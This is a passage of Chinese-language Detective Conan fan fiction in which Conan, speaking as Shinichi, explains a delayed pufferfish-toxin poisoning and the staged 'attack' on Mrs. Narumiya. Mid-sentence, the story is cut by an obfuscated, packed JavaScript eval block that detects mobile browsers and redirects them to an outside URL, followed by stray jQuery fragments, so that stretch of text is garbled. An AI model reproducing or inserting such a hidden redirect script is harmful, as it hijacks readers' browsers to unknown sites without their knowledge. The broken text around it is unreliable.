柯南做出如此判断的依据也很简单。
首先,是稻荷狐咖啡厅案件里的矛盾点。
最初的银子,冷漠、疏离,甚至对他这个“小鬼”带着明显的不耐烦。
但在进行推理的那短短几分钟里,那时候的她简直像是完全变成了另一个人——眼神玩味,嘴角带着那抹让他脊背发凉的猫一样的微笑,言语间充满了洞察一切的嘲弄。
那种气场,与之前简直判若两人。
然后,案件一结束,她又恢复了那种冷淡、平静、对周遭一切都漠不关心的状态,甚至对自己没多久前才经历的事都记不清楚,随口用“走神”来解释。
这种短暂且当事人自身无法清晰记忆的性格切换,非常符合分离性身份障碍会出现的症状,俗称多重人格。
其次,是青山第十三精神病院。
安达医生和成宫夫人都明确提到了银子有“记忆障碍”和“妄想症”。
如果在此基础上,叠加上多重人格,很多矛盾点似乎就能说得通了。
主人格的银子性格冷淡但本质不坏,值得信任——她在咖啡厅案件里阻止投毒救人,虽然对柯南总是一脸嫌弃的样子但也没真的伤害过柯南。
不过主人格貌似伴有严重的记忆缺失和某种程度的现实感薄弱。
而副人格的“银子”应该是会在危机或特定情境下出现,这个人格极度敏锐,拥有超乎常人的观察力和推理能力,不过同时也显得更加危险。
虽然柯南只跟那种状态下的“银子”短短相处了几分钟不到,但那种带着戏谑看待生死的感觉,总让柯南不寒而栗。
如果只是表演的话,那根本说不通——银子整个人前后表现出的两种性格给人的感觉非常割裂,就像不互通一样。
而且,柯南合理怀疑,银子所谓的“记忆障碍”其实就是因为人格切换导致的。
不过现在貌似不是说这个的时候。
柯南躲在柱子后面,皱眉苦思——唯一的一根麻醉针就这么浪费了!现在怎么办?
他看了一眼被警方重新询问的成宫旭、沙弥婆婆和蛇首先生,又看了看不远处正和斑屋治低声交谈、似乎对这边一切都漠不关心的银子……
柯南纠结只持续了短短几秒。
调查银子身上的谜团固然重要,但眼下揭露真相才是第一要务。
柯南迅速做出了决定。
他悄无声息地离开,找到一个十分隐蔽的地方,蹲下身,熟练地调整了蝴蝶结变声器的频率,将其调至那个他再熟悉不过的声音——工藤新一。
就在目暮警部为缺乏决定性突破而焦头烂额,准备下令进行更细致的地毯式搜查时,他的手机突然响了起来。
他不耐烦地掏出手机,“莫西莫西,请问是哪位?”
“喂,目暮警官,是我,工藤新一。”
目暮警部愣了一秒,随即脸上露出难以置信的惊喜,声音因激动而不自觉地拔高:“工藤老弟?!真的是你吗?!”
这一声“工藤老弟”如同在略显嘈杂的现场投下了一颗石子,瞬间吸引了所有人的注意力。
刚刚结束与斑屋治关于住宿和打工短暂讨论的银子,以及她身旁的斑屋治,都不约而同地循声望去。
银子微微蹙眉,下意识扭头想要找柯南那个小子。
斑屋治推了推眼镜,镜片后的目光饶有兴味地投向目暮警部手中的电话,嘴角勾起一抹意味深长的弧度,用只有他和银子能听清的音量低语道:“哦?这可真是……有意思。”
银子侧头看他:“怎么了吗?”
斑屋治轻笑一声:“一个本该‘死去’或者至少是‘长期失踪’的人,竟然在这种关键时刻打电话回来帮助警方办案……这种戏剧性的情节,或许会是个不错的小说素材呢。”
他的语气带着一种置身事外的点评感,却又隐隐透着一丝洞悉什么的玩味。
而另一边,内心一直担忧着新一安危的小兰,在听到“工藤新一”这个名字的瞬间,几乎是不假思索地冲到了目暮警部身边,语气急切地问道:“是新一吗?真的是新一?!”
小兰一把抢过目暮警官的手机,紧紧贴在耳边:“新一!是你吗?这段时间你到底都去哪里了?你知不知道我有多担心你!你还好吗?为什么不联系我?”
一连串的问题充满了积压已久的思念和担忧。
电话那头的“工藤新一”显然没料到小兰会突然接过电话,沉默了一瞬,随即用那种属于工藤新一的、带着些许自信和歉意的熟悉语调回应道:“啊哈哈,抱歉,小兰,我现在在处理一个很重要的案子,实在脱不开身……让你担心了。我没事,你放心。”
他顿了顿,语气变得严肃而急切:“但是现在还是破案要紧,成宫家的案子很复杂,时间拖得越久越不利。能把电话还给目暮警官吗?我需要立刻告诉他真相。”
小兰虽然心中有万语千言,但也明白事情的轻重缓急。
她用力咬了咬嘴唇,强压下翻涌的情绪,低声说道:“你一定要小心……”
然后她依依不舍地将手机递回给目暮警部。
目暮警部接过电话,深吸一口气,对着话筒郑重说道:“工藤老弟,你现在在哪里?是不是已经掌握了什么关键线索?”
“目暮警官,我从柯南那里大致了解了案件的情况,我已经知道真相了。”
“是这样吗,工藤老弟,那凶手到底是谁?”目暮警官赶忙追问道。
但是工藤新一并没有直接回答,而是话题一转,“在我说明凶手的作案手法前,能否麻烦目暮警官按一下免提呢?确保所有人都能听到。”
目暮警官有些疑惑,但还是按下免提键,工藤新一清晰而沉稳的声音通过手机传遍了略显嘈杂的现场:“首先,先从柯南他们第一个发现的成宫响子夫人事件开始说起吧——在浴室里试图溺死成宫响子夫人的人……”
他顿了顿,继续说道:“其实这个人就是成宫响子夫人本人!”
“胡说八道!”成宫旭激动地打断,“我母亲她为什么要这么做?!”
工藤新一的声音继续响起,带着不容置疑的冷静,“响子夫人这么做,原因有二。第一,是为了强化‘楔谷神诅咒’的假象,将警方的调查引入歧途。第二,也是更关键的一点——她是在为真正的凶手打掩护,试图用自己的‘遇袭’来混淆死亡时间,或者转移视线。”
“真、真正的凶手?”成宫旭愣住了,现场的其他人也屏住了呼吸。
“没错。这起案件的真相,并非激情杀人或简单的盗窃引发的冲突,而是一起精心策划的、利用‘延时陷阱’的谋杀。”工藤新一的声音斩钉截铁。
“延时陷阱?”目暮警官重复道,眉头紧锁。
“对,真正的凶手非常了解成宫弦一郎先生的习惯——他事先将河豚毒素涂抹在某个成宫先生一定会接触,并且很可能会用手拿取的东西上。”
工藤新一解释道,“只要成宫先生接触了涂有毒药的位置,然后再不经意间用手拿取食物送入口中,毒素就会进入体内。在成宫弦一郎先生毒发身亡的这个时间段——也就是下午四点到五点之间,只要凶手一直和他人在一起,就可以获得完美的不在场证明!”
工藤新一的声音提高了些许:“而响子夫人的‘遇袭’,一方面是为了配合‘诅咒’的剧本,另一方面,也是为了在真正的死亡时间前后制造混乱,干扰判断。”
现场一片寂静,只有工藤新一的声音在回荡。
银子面无表情地听着,目光不经意地扫过脸色苍白的沙弥
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528529|186257||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婆婆,又瞥向神色凝重的蛇首先生,最后落在紧握双拳、眼神复杂的成宫旭身上。
斑屋治站在她身旁,推了推眼镜,嘴角勾起一丝难以捉摸的弧度,用极低的声音自语道:“哦?延时投毒……河豚毒素的保质期很长,即使常温状态下也能保存3年,这下子可不好推断下毒时间了啊。”
“等等,工藤老弟!”目暮警部摸着下巴,提出了关键疑问,“如果是事先在什么东西上下毒,然后让死者自己吃下沾毒的食物,那凶手是如何保证死者一定会在那个特定时间段毒发身亡呢?河豚毒素发作时间虽有差异,但万一死者提前死了,那凶手精心设计的不在场证明不就失效了吗?”
电话那头,“工藤新一”的声音带着一丝了然的笑意,似乎早已料到会有此一问。
“实际上,对凶手而言,死者具体在什么时间死亡,其实都无所谓——”
“无所谓?”目暮警部和其他警员都愣住了。
“没错!”工藤新一肯定道,“因为凶手可以保证死者一定会在午餐之后死亡。”
“为什么?”目暮警部更加困惑了。
“这就需要了解成宫弦一郎先生的一个生活习惯。”工藤新一的声音转向询问的口吻,“沙弥婆婆,作为成宫家的管家,您最清楚了。成宫弦一郎先生有通宵鉴赏古董的习惯,一旦沉浸进去,经常会忙到废寝忘食,连饭都忘记吃,对吧?”
突然被点名的沙弥婆婆身体微微一颤,在众人目光聚焦下,她苍老的脸上露出一丝回忆和确认的神情,然后缓缓点头,声音带着恭敬和肯定:“是的,这位先生说得没错。家主他一旦研究起古董来,常常会忘了时间,甚至通宵达旦。所以,当家主在收藏室待得太久时,老身经常会按照夫人的嘱咐,送一些方便入口的食物过去。”
“那么,沙弥婆婆,”工藤新一的声音循循善诱,“今天中午,您照例给成宫先生送去的午餐,是饭团吧?而且是那种可以直接用手拿着吃的饭团。”
沙弥婆婆再次点头,语气确定:“是的,家主是早晨七点左右进的收藏室,所以老身是在中午十二点左右送过去的,就是几个简单的梅子饭团和一小壶茶。家主当时正对着一尊新收的青铜器出神,只是应了一声,老身就把盘子放在他手边的小几上了。”
“原来如此!”
目暮警部猛地一拍手,脸上露出恍然大悟的表情!
“死者具体无论什么时间段毒发身亡都无所谓,凶手已经确定了他会在午餐之后死亡,所以他只要保证自己在午餐之后到尸体被发现前都有不在场证明就行了!”
工藤新一接着解释道:“甚至他还为了防止尸体不会被人发现,特地在花瓶暗格里藏了那个会在规定时间播放尖叫声的录音机。”
“等等,工藤老弟,照你这么说……”目暮警官忽然反应了过来,“那么凶手就是……”
了解成宫弦一郎的习惯,意味着他至少是这个家里的成员。
而且还拥有从午餐后到尸体被发现前这段时间内完整的不在场证明……
所有人的目光,随着推理的焦点,不由自主地集中到了那个人身上——
成宫旭。
成宫旭原本因母亲被指“自导自演”而激动的神色,在工藤新一说出最后结论的瞬间,骤然冷却。
他低垂着头,碎发遮住了眼睛,让人看不清表情。
周围一片死寂,只能听到远处警车的微弱嗡鸣和众人压抑的呼吸声。
片刻后,他深吸了一口气。
当他再次抬起头时,脸上已是一片冰封般的平静,甚至带着一丝被荒谬指控激怒的冷嘲。
他没有理会周围那些神色各异的人,而是直接望向目暮警官手中的手机,声音不大,却清晰地传入每个人耳中:“荒谬。”